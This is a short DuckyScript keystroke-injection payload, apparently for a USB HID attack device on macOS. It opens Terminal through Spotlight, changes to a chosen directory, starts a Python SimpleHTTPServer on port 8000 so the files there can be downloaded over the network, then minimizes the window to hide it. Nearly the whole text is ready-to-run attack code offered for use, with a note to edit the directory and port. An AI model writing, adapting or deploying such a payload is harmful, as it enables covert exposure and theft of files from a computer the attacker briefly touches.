This simple payload opens Terminal, moves to a directory and then creates a http server that you can go and download those files.
You may want to change directory and the server port. In the payload the port is 8000
DELAY 1500
GUI SPACE
DELAY 300
STRING Terminal
DELAY 200
ENTER
DELAY 500
STRING cd (directory to show)
ENTER
STRING python -m SimpleHTTPServer 8000
ENTER
GUI M
Directory Server.txt